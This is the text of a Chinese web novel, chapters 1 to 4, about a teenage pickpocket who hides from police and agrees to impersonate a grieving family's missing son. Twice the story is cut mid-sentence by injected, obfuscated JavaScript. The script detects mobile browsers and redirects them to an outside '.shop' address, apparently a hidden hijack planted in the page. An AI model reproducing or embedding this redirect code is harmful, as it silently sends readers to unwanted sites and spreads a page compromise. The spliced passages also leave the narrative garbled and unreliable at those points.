《当你开始像他》 1. 离谱的请求 汤振决定偷走隔壁桌彪形大汉的钱包。 一分钟前,那大汉差点撞倒饭店服务员,却怒骂服务员不看路。 现在,机会来了。 趁着服务员给大汉那桌三人端汤时,汤振走到他身后,扶着他的后背,喊道: “——大哥,小心热汤!” 随后,汤振便抽走了大汉的钱包,整个过程行云如流水。 可能是因为大汉臀部肥肉太多,也可能是因为汤振伎俩娴熟,钱包被抽走的时候,对方竟没有丝毫察觉。 拿到钱包,汤振一脸老实坐回原位,心里松了一口气。 半个月前,汤振费尽心思从养父手底下逃了出来,时至今日,钱包已经空空如也了。 现在,总算有了些见不得人的“收入”。 至于那个所谓的“养父”,多年来逼着汤振干了不少偷鸡摸狗的事,这次逃出来也实属不易! 汤振风卷残云地扒着饭,想趁大汉发现钱包被偷之前,赶紧吃完溜走。 饭店外的日光渐渐西移,斜斜的光影又朝店里的地面上挪了几分。 八月初的烈日下,走来一个爽朗清举的少年,正背着书包路过饭店门口。 霎时,那少年不经意间朝饭店里一望,和汤振有了短短一秒不到的对视。 汤振正喝着牛奶,那少年又倒退了回来,再次看向汤振,眼中充满了不可置信的神色。 此时汤振正夹着菜往嘴里送,又和少年对视上了,汤振只感觉浑身不自在,便低下头继续夹菜。 那少年扫视了一圈饭店,犹犹豫豫地走了进来,坐到了最里面的一个位置,目光却还是忍不住向汤振这边看过来。 少年见汤振只顾着埋头吃饭,只好将目光收回,却又无意间发现,离自己不远的地面上躺着一个钱包,钱包旁边坐着四个男生。 少年看了看四人,便上前弯腰捡起了钱包,递给了离得最近的染着红头发的男生。 红发男接过钱包,满脸笑意地说了“谢谢”,随后打开钱包,在里面翻来找去。 突然,红发男换了副面孔,朝少年呵斥道:“你光把空钱包给我是几个意思,里面的钱呢?” 吼完,红发男站了起来,眼神直勾勾地盯着刚坐回原位的少年。 这动静也吵到了刚吃完饭的汤振,汤振带着看热闹的想法看向那四个男生。 这时,和红发男一起吃饭的三个男生也站了起来,缓步逼近坐在角落里的少年。 红发男继续逼问:“问你话呢,哑巴了?我钱包里的钱,被你藏哪儿去了?” 说完,另外三个男生便准备搜少年的身。 汤振坐在一旁无奈地摇了摇头,深吸了一口气,打开从大汉那里偷来的钱包,抽出里面的现金,拿着空钱包,向那四个男生走了过去。 “等等,”汤振闪现到少年身前阻挡着,与红发男有了直接的身体接触,“你们随便搜陌生人的身,不怕被监控拍到你们侵犯隐私吗?” 红发男笑了笑,眼角堆起几条褶皱,“这小饭店,没有监控。” 汤振脸上反而露出一丝欣慰,一边扯着红发男的衣服,一边把从大汉那里偷来的钱包放进了红发男的上衣口袋里。 做完这一切,汤振又质问红发男:“既然没有监控,你们又凭什么说他偷了你钱包里的钱?” 红发男一脸不服,“我的钱包是他从地上捡的,里面的钱当然也是他偷的。” 汤振斜了一眼门口坐着的彪形大汉,又朝红发男吼道:“那我还说是你故意往地上丢个空钱包,等着别人上当呢,你就是骗人骗习惯了,别以为我什么都没看见,刚才你进店里的时候,还顺走了那个大哥的钱包呢!” 说完,汤振走向店门口,拍了拍彪形大汉,“大哥,那个红头发把你钱包偷了,我亲眼看到的,现在你的钱包就在他的衣兜里。” 大汉后知后觉地往屁股上一摸,“蹭”地站了起来,嘴里嚼着食物,指着红发男吼道:“好小子,真给我钱包偷了!” 红发男似乎是被突如其来的变化震慑住,呆呆地站在原地一动不动,连着和他一起吃饭的三个男生,也都保持着一个僵硬的姿势。 大汉带着排山倒海的气势走到红发男身前,左右手同时插入他两边的衣兜,果然从左边衣兜里拿出了自己的钱包。 大汉打开钱包一看,里面空空如也。 汤振幸灾乐祸地收拾着书包,想要趁乱溜之大吉。 红发男立刻求饶,“大,大哥,我不知道你钱包怎么在我兜里!我……我,我!” 汤振甩下一句“没监控哦”,就起身朝饭店门口走去。 随后,饭店里就响起一阵清脆的“啪啪”声,红发男的脸上便多了两个红红的巴掌印,简直比他的头发还要红。 不过片刻,饭店里,红发男一桌四人的咿呀乱叫余音绕梁。 汤振把饭钱压在了牛奶杯下面,悠然自得地将书包往肩上一甩,朝饭店门口走去。 角落里的少年见汤振准备离开,便也跟了过去。 这时,远处两个警察看见了饭店这边的打斗,便小跑着冲了过来。 汤振看见那身制服,心里一紧,连忙侧过头,快步跑出了饭店。 紧接着,角落里的少年也跟了上来。两人顶着正午过后的烈日,跑到了三百米开外的荫凉处。 少年喘着粗气,拉住汤振的衣角,“同,同学,正好警察来了,你跑什么呀?” 汤振擦了擦额头的汗,一时语塞,总不能把自己偷大汉钱包栽赃红发男的过程讲出来吧? 于是,汤振什么也没回答,反问道:“你跟过来干嘛?” 那少年有些欲言又止的样子,把汤振拉到一旁的树荫下。刺眼的日光透过树叶的缝隙漏下来,斑斑驳驳映在地上和两人的身上。 “问你呢,跟着我干嘛?还有,在饭店的时候,怎么老看我?”汤振不解。 “我……我也不知道,哦,因为我觉得你长得很像一个我认识的人。”少年支支吾吾地回答。 “好吧,”汤振没有再追问,缓了缓神色道:“一看你就没被人坑过,大庭广众之下躺在地上的钱包,很明显是人家故意放在那儿的,这种钱包你也敢捡,真以为是人家不小心掉的呀?” 少年尴尬地笑了笑,“我以后注意。” 汤振看了看少年发红的脸庞,顿时有些心疼,于是打趣道:“没事儿,光看你的样子就是学校里的三好学生,只是以后做好事之前要多想一想。” 说完,汤振便准备继续赶路,步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17575454|205002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子还没迈开,便被少年一把拽住。 “等等,你先别走好不好?” 汤振脸上凝聚了一团疑云,“你怎么了?奇奇怪怪的。” 少年望着汤振有些清瘦的脸庞,又把肩膀凑近,比了比高矮,小心翼翼地问道:“对不起,请问你……你认不认识于浩磊?” 汤振摇了摇头,尽可能地在脑海中搜索了一遍,答道:“不认识。” “真的不认识吗,”少年的脸上透露着几分失望,“我……我可不可以问问你最近一年都在哪里?” 汤振心里一惊:这家伙该不会是来查自己底细的吧?最近一年的经历可不能随随便便告诉一个陌生人! 然而,回想起少年刚才在店里单纯的样子,汤振心里又放下了戒备。 少年见汤振默不作声,只好垂下眼眸,“对不起,是我认错人了。” 周围的蝉鸣似乎也让尴尬的空气变得吵闹。 汤振看着眼前这个有些奇怪的陌生少年,还是忍不住问出了口:“你是在找人吗?” 少年点了点头,“我在找我哥,他叫于浩磊。” 闻言,汤振“哦”了一声,不知道如何继续聊下去,便扯了扯书包的带子,准备继续赶路。 少年又开口道:“对不起,那我能不能请你再帮我一个忙?” 汤振眉心的疑惑皱成一个“川”字,“但是我们才刚认识不久吧,你怎么好意思又让我帮你。” “因为你刚才已经帮过我一次了。”少年的眼神中充满了恳求。 汤振一脸被噎住的表情,上下打量了一番少年,“那你说吧,想让我帮你什么?” 少年有些勉强地扯了扯嘴角,缓缓开口,“我想……雇你当我哥,你看……” “啊?”汤振双眼瞪得老大,“你说什么?我没听清。” “我说让你当我哥,让你当我的亲哥。”少年放慢了语速。 汤振一脸莫名其妙地盯着眼前的少年,不知道该怎么回答,只好走向树下的铁椅,但他刚坐下,又被铁椅烫得“咝”地一声站了起来。 两人沉默良久,四目相对,谁也没有继续开口,安静得好像能听见连烈日晒在身上的声音。 几公里外的港口处,传来几声汽笛的轰鸣,打破了这长久的宁静。 汤振这才开口道:“我不是才告诉过你不要这么单纯吗?你刚认识我,就让我当你哥,这是什么要求,你该不会是发烧了吧?” 汤振伸出手,想要摸摸少年的额头。 少年一下子躲开,脸上绯红,“对不起,我……我可以慢慢跟你解释。” 汤振看了看周围安静的街道,夏日黏腻的气温让他渐渐失去耐心,“但我还有其他事情呀,现在也没空听你解释,我就先走了,不好意思啊,你一个人注意安全。” 说完,汤振像躲瘟神一样,转过身,丢下少年而去。 “你是不是住在这附近,”少年的声音模糊不清地从后方传来:“其实我这么做,也是因为……” 然而,少年遥远的呼喊终究融化在了夏天的阳光里,被午后的街道吞没。 汤振没有回头,也没有停下脚步,尽管烈日灼烧着他挂着薄汗的头发,他也坚定地迈着步子,漫无目的地朝港口的方向走去。 2. 危机 被汤振拒绝后,深夜,少年独自一人回到了家中,书包一扔,便躺上了床,一觉睡到第二天早上六点。 “砰砰砰。” “于浩宁,起床了,”母亲敲响了少年的卧室门,叮嘱道:“等吃完早饭,还要带你爸去医院复查呢。” 于浩宁揉了揉红肿的双眼,起床吃过早饭,便收拾好东西,和母亲一起,推着轮椅上的父亲,来到了浥鸣县最好的医院。 消毒水的气味弥漫在诊查室里。 于浩宁的思绪慢慢从昨天和汤振的偶遇中抽离,转而放在了父亲的病情上。 医生看着于浩宁父亲的检查结果,专心致志道:“从这几个月的检查情况来看,病人的情况确实比较复杂,从他的语言、记忆和反应等方面来看,我们还是倾向于认为他是大脑受到了损伤,现在确实也没有更好的治疗方案了。不过还好,病人的意识还是比较清醒的,只是因为失忆等症状,可能没办法和你们沟通。但是他的行动能力没什么问题,只是腿受伤了,需要坐轮椅,身体其他部位的活动没什么问题。” “大脑功能还有把握恢复正常吗?”母亲的语气有些焦急。 医生摇了摇头,“这个我们没有办法保证,如果确实如你们所说,病人有时似乎能想起来什么,那我们可以认为他的失忆症没有很严重。当然,现在的重点还是先把车祸造成的腿伤恢复,平时在家里,可以多做一些康复训练。” 母亲叹了叹气,对于浩宁说道:“难道真的只有找回你哥,你爸才会好起来么?自从一年前你哥失踪后,你爸整个人就意志消沉,结果自己开车出了车祸,搞成现在这个样子。都是妈妈不好,妈妈总看到你爸表面上坚强,没注意到他心里其实……” 于浩宁走上前,扶着情绪低落的母亲。 一声电话铃响,打断了母亲的自责。 母亲拿出手机,脸上的悲伤瞬间转变为焦虑,“喂?哦,我现在在医院呢……公司那边的事情我下午会立刻去处理,请稍微等一下……对,对,你们放心,这个环节由我负责没问题。” 一边打着电话,母亲一边走出了诊察室。 于浩宁望着缓缓关上的房门,压低着声音问医生:“医生,请问如果经常给我爸讲以前的事情,他恢复的可能性会大一点吗?” 医生皱了皱眉,“这也比较难说,因为这方面的理论确实缺少实际案例来支撑。” 于浩宁仍不想放弃,追问道:“如果……万一真的能有那样一个人,能让我爸想起一切呢?” “或许有吧,”医生答道:“很抱歉我们也没办法给出确切的答复,但是您可以在合理适度的范围内尝试一下,毕竟也没有其他办法了。但是一定要记住,千万不能逼迫患者,不要给他太大的精神压力。” 于浩宁若有所思地看着轮椅上的父亲,诊察室里安静得只剩呼吸声。 房门被打开,母亲脸上挂着疲惫的笑意走了进来,“在聊什么呢?” 于浩宁起身走向轮椅上的父亲,“哦,没什么,问了医生一些平时和我爸沟通可以用的方法和技巧。” 母亲朝医生道了谢,便和于浩宁一起将丈夫推出了诊察室。 一路无言。 从医院回到家还未到中午,于浩宁将父亲扶到了沙发上坐好。 母亲在玄关旁边用抹布轻轻擦拭着柜架上的照片,一周没打扫,上面已经有了少许灰尘。这些照片每张都用玻璃框装了起来,摆放精致,母亲轻拿轻放,生怕不小心碰碎了哪个相框。 其中一张照片是于浩宁一家四口的照片,拍摄这张照片时,于浩磊还未失踪,两兄弟和父母一起在草地上野餐,明朗的微笑挂在每个人的脸上,显得一家人其乐融融。 正当母亲将这张照片拿起来,放在手上轻轻擦拭。这时,父亲的目光投了过来,脸色也跟着变得焦急。 于浩宁看着神色陡然变化的父亲,又看了看母亲手中的照片,眼里闪过一丝轻微的喜悦。 “妈,”于浩宁喊道:“你把那张照片拿过来给爸看看吧。” 母亲迟疑片刻,将信将疑地拿着照片走了过来,将照片小心翼翼地递给丈夫。 于浩宁的父亲接过照片,双手紧紧攥着玻璃相框左右两侧,不肯放手。 于浩宁谨慎地指着照片中的哥哥,问父亲道:“爸,你认识这个人吗?” 父亲茫然地看着照片中的于浩磊,轻微张嘴,却什么也没说出口。 于浩宁睁大了眼,看向父亲的眼神中满是鼓励,但父亲最终还是没能说出一个字。 母亲摸了摸鼻尖,双眼泛红,躲进了于浩宁的卧室。 卧室里布置得很温馨,两张床分别放在卧室两侧,书桌上摆满了各种学习用品,墙上贴着海报和一些奖状。 于浩宁的床靠近窗户,于浩磊的床则靠近卧室门。 母亲缓缓行至于浩磊的床边,尽管于浩磊失踪已经快一年,但母亲扔每个月换一次床单和被套,墙上的海报也定期擦拭,一尘不染。 母亲侧身坐了下来,抚摸着于浩磊的床上叠得整整齐齐的被子,眼泪顺着脸庞滑下。 卧室房门被推开,于浩宁走了进来,走到母亲身边坐下,“妈,你别伤心,哥哥一定会被找到的。” “可是,这都快一年了。”母亲轻声抽泣。 于浩宁抿了抿嘴,“那也没关系呀,现在一切还没有定论。妈,咱们不要提前伤心了,纯纯折磨自己。” 母亲还想要说什么,客厅的一阵手机铃声,又打断了这片刻的安静。 母亲抬手擦了擦眼泪,强颜笑了笑,对于浩宁说了句“好好学习”,便走出卧室接电话去了。 看着母亲的背影,于浩宁也缓缓在哥哥的床上坐了下来,望着墙上贴着的各种海报,眼神逐渐坚定。 于浩宁透过门缝,看了一眼正在打电话的母亲,搬过旁边的椅子,站了上去。 一张,又一张,于浩宁将墙上的海报揭下来,揉成一团,扔在地上。 海报撕裂的“咔嚓”声,带着一些墙灰,簌簌掉落。 两分钟后,也许是听见了卧室的动静,母亲打开门,走了进来。 刚进卧室,母亲便看见了踩在凳子上的于浩宁。 “你在干什么,”母亲眼眶泛红,惊恐道:“你快把海报贴回去,那是你哥哥之前最喜欢的,你快给我贴回去……” 说着话,母亲连忙将手机扔在地板上,便蹲下身,将揉成团的海报一张一张展开。 于浩宁从凳子上走了下来,蹲在地上,抢过母亲手里的海报,关切道:“妈,你别捡了,哥他已经失踪了,你看清一点啊,这个家里,只有我们三个人了,妈。” 母亲泪眼婆娑,双手扶着于浩宁的肩膀,“万一你哥回来了,看到这些海报都被撕掉,他会伤心的。” 于浩宁的泪水亦夺眶而出,“那他就回来啊,不管是伤心也好,生气也好,他倒是回来啊。” 于浩宁将身子扑向母亲,伏在母亲的肩膀上,“妈,你要相信,我哥一定还活着,他肯定会回来的,他早晚有一天会回来的,你要清醒一点,妈……” 母亲亦恸哭失声,“你们都不懂我,你们根本不懂我,你们只会叫我清醒,叫我不要沉浸在过去……” 刺眼的阳光被一片乌云挡住,卧室里顿时黯然了下来。 母亲抽泣道:“我的儿子不见了,我看着他的东西回忆过去,这也有错么?” 于浩宁擦了擦眼泪,“妈,但是你要勇敢面对现实,我会替你照顾好爸,我会好好读书,不让你担心。” 母亲也紧紧搂着于浩宁,“我好想让你哥回来,哪怕你们俩还像小时候那样调皮,哪怕你们俩偶尔会让我操心,我都愿意,只要能让他回来……” 于浩宁紧紧抿着嘴,“妈,我刚才不是说了吗,哥哥会回来的。在他回来之前,你就暂时忘了他吧,好吗?” 母亲大口喘着气,呼吸渐渐平复,“对不起,浩宁,是我没照顾好你,也没照顾好你哥。” 于浩宁的脸上再次流出两道清泪,“妈,你做得很好,你是最好的妈妈……” 安静的卧室里,手机孤零零地躺在地板上。 母子俩紧紧拥抱在一起,任由那些酸涩的眼泪肆意流淌。 卧室里的抽泣声渐渐停止。 母亲接过于浩宁递来的纸巾,轻轻擦拭着脸上的泪水,调整好呼吸节奏,缓缓走出了卧室。 午后,天气依旧炎热,街上的热浪扭曲着路边的草丛。 于浩宁和母亲一起照顾了父亲午睡,随后便独自一人来到街上。 在不同街口徘徊间,于浩宁又来到了昨天和汤振偶遇的街口。 烈日下,来来往往的行人当中,于浩宁慵懒地走着,似乎漫无目的,又似乎在期盼着谁。 只是,盼来盼去,于浩宁始终没有再遇见昨天那张熟悉的脸。 “如果……万一真的能有那样一个人,能让我爸想起一切呢?” 上午询问医生的话,此时此刻,又回响在于浩宁的脑海中,但灼热的日光又将他的思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17575455|205002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绪拉回现实中来。 继续在街上闲逛,漫无目的。 忽然,就一瞬间,于浩宁的目光锁定在了不远处——是昨天那个熟悉的身影! 于浩宁连忙加快了脚步,朝汤振的背影喊了一声:“喂,同学……” 汤振转头一瞥,是昨天那个奇怪的少年:这可真是“来者不善”啊! 想到这,汤振拔腿就跑,七拐八拐,钻进一条巷子里。 躲在巷子里的汤振大喘了几口气,回头看了看,确定已经甩掉了于浩宁,才放下心来。 汤振刚长舒一口气,就看见了墙上贴着的一张通缉令。 只见上面画着一张肖像画,与汤振有三分相似。 此外,通缉令上还写着“此人高度疑似与6月19日雁清街速美捷快递店铺火灾有关”,并用草图标注了嫌疑人的大致逃跑路线。 汤振一把撕下通缉令,揉成一团,扔进了一旁的下水道里,又用力踩了一下排水沟盖板。 缓了几口气,汤振才慢慢走出巷口。 巷口外,是一条宽阔的马路,此时车流正少。 突然,左边远远出现一个警察,恰好冲着汤振的方向喊了一声:“站住!” 汤振只觉得双腿一软,但旋即又恢复了力气,他立刻拼劲了全力,往右手边跑去。 虽然下午的日光温度逐渐凉了下来,但汤振只觉得背上如炙烤一般,逼着他马不停蹄地往前跑。 贴着路边的围墙跑了两百米左右。 突然,一只手伸了出来,猛然将汤振抓进一扇铁门里。 汤振眼睛一花,顾不得右臂的疼痛,便看向捉住自己的人——竟是昨天那个少年! “你怎么又在这儿?”汤振把声音压得极低。 于浩宁连忙“嘘”了一声,将右手食指放到嘴唇上,做了一个噤声的手势。 来不及多问,汤振屏住呼吸,跟于浩宁一起躲到了门后面。 两人竖起耳朵,听着外面的警察脚步匆匆,经过铁门外,继续朝马路右手边跑了过去。 过了大约30秒,汤振才敢缓缓探出脑袋。 只见街道远处,那名警察制服了一个拿着水果刀的男子,正把男子压在马路上,熟练地给他戴上手铐。 看到这个画面,汤振收回了身子,坐在水泥地上,如释重负,擦了擦额头上的冷汗。 于浩宁开口问道:“你害怕警察吗?” 汤振抬起眉,看着于浩宁天真的眼神,苦笑了一下,“没,没,我刚才是帮警察追小偷来着。” 于浩宁鼓气勇气反驳道:“你明明就是误以为那个警察在追你,刚才的一切,我都看到了。” 汤振抿了抿嘴,揉着还有些酸痛的右臂,嘟囔道:“那你还问我……” “我只是觉得你有事瞒着我嘛。”说完,于浩宁坐了下来,靠在汤振的右边,任由地上的灰尘沾在自己刚买不久的新款短裤上。 汤振听得有些哭笑不得:“不是,什么叫我有事瞒着你呀?我们才刚认识一天诶,我连你叫什么名字都不知道……” “我叫于浩宁。” “呃……不是,我的言外之意是,我们还不够了解对方。”汤振解释道。 “那是因为你昨天不听我解释,”于浩宁话锋一转:“所以你昨天下午过后去了哪儿?我看你往港口那边走了,以为你要离开我们县城。” “我确实准备离开,”汤振索性也不拐弯抹角了,但还是神神秘秘地低声道:“可我联系的船夫说,他有一批货推迟了,昨天出不了海,我只能等几天再走。” 于浩宁看着汤振有些狼狈的脸庞,问道:“你一定要走吗?” “对呀,”汤振沉默片刻,侧过头笑道:“你也说了,我怕警察嘛。” 远处的港口遥遥传来几声轮船汽笛的轰鸣,冲淡了下午沉闷的暑热。 于浩宁下巴一昂,拍了拍汤振的手臂,兴奋地说:“如果我有个办法,可以让你不怕警察呢?” 汤振被这话勾起了好奇心,看向一脸认真的于浩宁,问道:“你能有什么办法?” “一两句话也解释不清,”于浩宁的语气带着几分恳求,“我慢慢解释给你听吧?” 汤振也心软了下来,“行吧,行吧,那个……我叫汤振。你想说什么就说吧,但你得顺便帮我揉一下右边手臂,你刚才一下把我拽进来,扯得我好痛。” 于浩宁的脸上终于露出一丝难得的喜悦,双手捏着汤振的右臂,“行啊,我给你揉,你要认真听我讲。” 3. 伪装约定 于浩宁揉着汤振的手臂,双眼失神道:“我是心疼我爸,也心疼我妈,所以才想让你来冒充我哥。” “你哥……”汤振带着疑惑的神色,试探性地问,“他怎么了?” “一年前他失踪了,”于浩宁脸上多了几分黯然,“直到现在也没找到,不知道他现在还活着没。” “警察也没办法帮到你们么?” “帮了的,还叫了海上救援队呢,但都没有找到。” 汤振看向于浩宁,“你哥是在海里失踪的吗?” 于浩宁停下了手上的动作,深吸一口气道:“其实这件事情说起来很复杂。去年这个时候,海边的几个游客报警,说看到有人被离岸流卷走了,但没人知道是谁,也没办法提供其他线索,于是警察和海上救援队找了一天也没有找到。第二天,我和爸妈发现我哥一晚上没回家,电话又打不通,也马上去报了警,警察就说在海边失踪的那个人可能就是我哥。” “所以其实还不能确定你哥就是那个被离岸流卷走的人?” “但大概率就是了,”于浩宁的气息有些不稳,“因为我爸妈跟警察描述了一下我哥的长相、个子和穿衣打扮,警察说,我爸妈描述的样子很像前一天在海边被浪卷走的人,只是离岸边太远,当时没有游客看清失踪者的长相。” 汤振眼神里有些惋惜,“那现在还没有定论嘛,一切都是有可能的,你不要提前伤心折磨自己了。” 于浩宁停下了手上的动作,望着天空道:“我上午也用这句话安慰我妈妈,现在换你用同样的话安慰我,我才知道这句话在真相面前显得多么无力。” 汤振抿了抿嘴,“所以,你让我冒充你哥,是想让你爸妈不那么伤心吗?” “我妈妈是最伤心的,我爸……我爸在我哥失踪后,精神状态很差,自己开车出了车祸,大脑受了损伤,现在语言能力、反应能力和记忆都受了很大的影响。”于浩宁低声道。 太阳逐渐西沉,汤振安静地听着旁边这个少年的诉说,不知道如何安慰。汤振想着:或许此时任何的言语都比不上让于浩宁的哥哥回来,哪怕,是个假的也行呢? 于浩宁揉了揉鼻尖,语气有些哽咽:“我有时候想着,我爸真的失忆了,也未尝不是一件好事,这样他就不用那么伤心了。我时时刻刻盼着我爸想起一切,对他而言会不会反而是一种残忍呢?但如果我爸一直好不起来,我妈妈会很累的,又忙着公司的事,又忙着照顾我爸……我什么忙都帮不上。” 汤振把还在隐隐作痛的右手搭在于浩宁的肩上,“你心里能这么想,也算是对爸妈最大的安慰了。” 于浩宁轻轻将后背靠在汤振的手臂上,顿了顿道:“我有时候也在想,万一有那样一个人,能让我爸想起一切呢,能让我妈妈不那么伤心呢?我问过医生了,医生说虽然没有这方面的临床案例,但可以试一试。所以我找到了你,你长得真的好像我哥,只是比他瘦一些……你真的不是我哥么?” 汤振的目光也看向了于浩宁,摇了摇头,“其实我也希望我是你哥,就不用这样东躲西藏了,更不用过这种狼狈的日子。” 于浩宁擦拭了一下眼睛,问道:“你现在可以解释了么,你为什么要躲着警察?” 汤振强颜笑了笑,“我是从我……从我养父那里逃出来的,这些年帮他做了很多见不得人的事,所以我习惯见了警察就躲。” “真的吗,”于浩宁追问道,“你没有其他事情瞒着我了?” 汤振咽了一口唾液,“见不得人的事太多了,我恐怕得有不少事情瞒着你呢。” “可是如果我要让你冒充我哥的话,我首先得知道你的底细吧。” “你这么着急干嘛,我还没答应呢。”汤振的语气里多了一些开玩笑的意味,让沉重的气氛轻松了不少。 “那你答应我么?”于浩宁再次抛出这个难题。 有那么一瞬间,汤振真的很想点头,因为一旦自己变成了于浩磊,之前做的那些事情就能直接抹去了,用着新的身份,过着新的生活,不正是自己现在所需要的吗? 汤振的眼神飘向远方,他深吸了一口气道:“你真觉得,我跟你哥很像么?” 于浩宁点点头,“是,很像,我还以为你真的是他。” “你哥年龄多大?”汤振问道。 “17,比我大两岁左右,”于浩宁答道,“他年年都能评上三好学生呢,经常考年级第一!” “那你上高几了?” “我下个月开学就上高一了,”于浩宁自嘲道,“只是还不知道我能不能适应高中生活。” 汤振擦了擦自己沾染着些许灰尘的脸,“不怕你笑话,我养父总说我今年就是个成年人了。但我今年到底多少岁,我自己也不知道。” 于浩宁看向汤振,道:“那你答应当我哥么?答应了,你今年就是17岁。” 汤振只觉得心脏再次猛跳了一下,问道:“你就这么放心,让我一个混混去当你哥?” “我觉得你也是个好人啊,”于浩宁抿了抿嘴,“你昨天还帮了我嘛。” 汤振脸上有些绯红,“好啦,你别哄我了。” “我在求你。”于浩宁一脸认真地望着汤振,等待着一个没有把握的回答。 汤振支撑着墙壁,拖着有些麻木的双腿站了起来,深呼吸了几口气,又伸出手,将地上坐着的于浩宁拉了起来。 整个街道似乎都安静了下来,汤振听着自己的呼吸声,问道:“那你哥的那些档案……” 于浩宁打断道:“我问过了,自然人如果下落不明满两年,利害关系人可以向法院申请宣告该自然人失踪。这还不到两年,还没宣告失踪,所以,你的资料都还在。” 汤振听着“你的资料”四个字,呆呆出神,远处的港口复又传来几声汽笛轰鸣,才将他的思绪拉回眼前。 沉默片刻,汤振笑了笑,伸出右手拍在于浩宁的肩膀上,道:“想要我答应你,有一个条件。” “什么条件?”于浩宁睁大了眼。 “你要告诉我,17岁的三好学生应该是什么样子。” “好,一言为定。” “一言为定!” 街道上川流不息的车辆传来阵阵轰鸣,车轮在水泥路面上留下一道道痕迹。逐渐拖长的日光照进小巷里,照在汤振的脸上,让他觉得有些睁不开眼。 好像不受控制一般,汤振就脱口而出那些话,就连他自己似乎也还没反应过来,刚才自己到底答应了什么。 于浩宁带着薄汗的脸上露出几分欣喜,他微微抬头,望着比自己高出半个头的汤振,出神道:“还好,你个子比我哥要高一点,可以说你失踪一年长高了。要是你比他矮,那我还真不知道该怎么圆这个慌。” 汤振的声音淹没在车水马龙的繁闹中,“那你做好准备了吗?以后可能要用更多的谎话来圆这个弥天大谎。” 于浩宁摇摇头,“所以你要好好演嘛。那你现在都住哪里?” 两人走出了小巷,临近下班时间,周围的行人和车辆与两人擦肩而过。这样漫无目的地在吵闹声中闲逛,是汤振许久以来没 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老板翻着前台的账本和入住记录,兀自呢喃:“住一个月……你俩都未成年吧?” 汤振望着于浩宁,两人面面相觑,无从回答。 “和家里人赌气呢?”老板头也不抬地问。 汤振僵硬地点了点头,不敢喘大气。 老板笑了笑,拿出入住记录,说道:“三楼还有空房,看你们的样子,还是学生吧?给你们开一间便宜的,一个月嘛……一千五,怎么样?” 于浩宁连忙答应了下来。 “好嘞,我带二位上楼。”老板满脸堆笑地说道。 交完钱,两人便在旅店老板的带领下,来到了三楼,走进了一个采光不大好的房间。 房间里装修简陋,阳台旁边是卫生间,除此之外便是床、衣柜和一些简易家具。 对于半个月没睡过一个好觉的汤振而言,这已经算是豪华套房了。 说完一些注意事项,老板便关上门离开了房间。 于浩宁看着老板离去的背影,笑道:“我告诉你啊,只要你别承认自己未成年,这个老板一般都会睁一只眼闭一只眼。” “你怎么好像很有经验似的?”汤振说完坐了下来。 “我朋友在这儿住过嘛,”于浩宁解释道:“你别管那么多啦,你只需要每天好好练习就行了。记住哦,是每天,我每天都会来找你的。” 汤振疲惫地点了点头,“行,谢了。” 于浩宁即刻纠正,“不许说‘谢了’,你要说‘谢谢’,因为我哥从来都是这么说的。” “好,谢谢,谢谢。”汤振有些忍俊不禁。 于浩宁有些满意地环视了一圈房间,颔首道:“那你洗个澡好好休息吧,我明天上午再来找你。不许赖床哦,不然开学了你早上起不来。” 叮嘱完,于浩宁便离开了房间,轻轻闭上了房门。 汤振从沙发上起身,走向床边,向后倒了下来,四仰八叉地躺在床上,望着天花板痴痴发呆,他只觉得浑身的力气仿佛都被抽走了。 窗外的天空渐渐披上了晚霞,车流声被窗户隔在了远方,汤振体验了从未有过的心安。 休息完片刻,汤振起身走向卫生间,站在了镜子面前。 汤振看着镜子里自己的脸,清了清嗓子,自言自语道:“很高兴认识你,于浩磊。谢了……哦不,应该说,谢谢,哥们儿。” 回应汤振的,是他自己的心跳声。 4. 替身训练 傍晚的警局里,汤振下午躲掉的警察正单独给抓到的人录口供。 这名行凶者只是因为朋友欠钱不还,就拿着水果刀上门威胁,好在他很快就被抓住,才没有导致任何人受伤。 行凶者哭诉道:“邢警官,我当时真的只是拿刀吓吓他,没想要杀他呀。” 邢警官不耐烦地摆摆手,“行了,你的辩解我都写下来了。你小子,个子不高,跑得还挺快。” “那不还是没跑过您嘛!” “你——”邢警官指着行凶者,“严肃点。” 同事推开门道:“老邢,口供都录完了没?一个月前的案子有了新的线索。” 邢警官点了点头,收起笔,站了起来,又让同事将行凶者带去继续关押着,等待上级领导发话。 邢警官跟随刚才的同事来到办公室里,办公桌上堆积如山的文件让他的脸色一沉,看着窗外画满晚霞的天空,邢警官无力地坐了下来,下午抓行凶者时受的伤还在隐隐作痛。 “你刚才说一个月前的案子有了新的线索,”邢警官翻着资料,头也不抬地问道,“那具体是什么线索?” 同事“呃”了一声,面露难色,“线索就是又找到了一位目击证人,但这位目击者说,嫌疑人戴着口罩,当时太阳又大,所以没有看清脸。” “那看到嫌疑人往哪里走了么?”邢警官追问道。 同事回答得结结巴巴:“呃,就是……也没有记住嫌疑人往哪边走了。” 邢警官的目光顿时直勾勾地看向同事,语气有些愤怒,“那你说,这叫什么线索?” 同事连忙赔笑,“是,我们只能根据这个目击者对嫌疑人眼睛和眉毛的描述,再稍微完善一下肖像画。” 邢警官闻言点了点头,用手一页一页地搓开眼前的一沓文件。 片刻后,邢警官见同事仍在一旁站着,便顺手把旁边的椅子拖了出来,抬了抬下巴,示意同事坐下。 同事将手中的文件放到了桌上,坐了下来。 